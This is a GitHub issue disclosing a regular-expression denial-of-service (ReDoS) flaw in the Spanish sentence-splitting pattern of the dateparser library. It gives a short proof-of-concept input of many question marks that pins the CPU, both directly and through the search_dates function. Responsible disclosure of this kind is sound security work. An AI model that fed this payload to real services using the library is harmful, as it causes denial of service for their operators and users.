Skip to content

SECURITY: bad regex pattern in 'dateparser/languages/locale.py' will cause 'ReDos' security problem. #869

@leveryd

Description

@leveryd

Problem description

i found one bad regex pattern in 'dateparser/languages/locale.py'

r'(?:[¡¿]+|[\.!?;…\r\n]+(?:\s|$))+',  # Spanish

those pattern will cause 'ReDos' security problem, proof of code like below

import re
p = re.compile(r'(?:[¡¿]+|[\.!?;…\r\n]+(?:\s|$))+')
re.findall(p, "?"*100000+"x")

run the above code, cpu utilization will be 100% in a very long period.

more detail about 'ReDos' please see owasp.

effect of this security problem

some api will call the pattern,like below

from dateparser.search import search_dates

search_dates("?"*100000+"x")

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions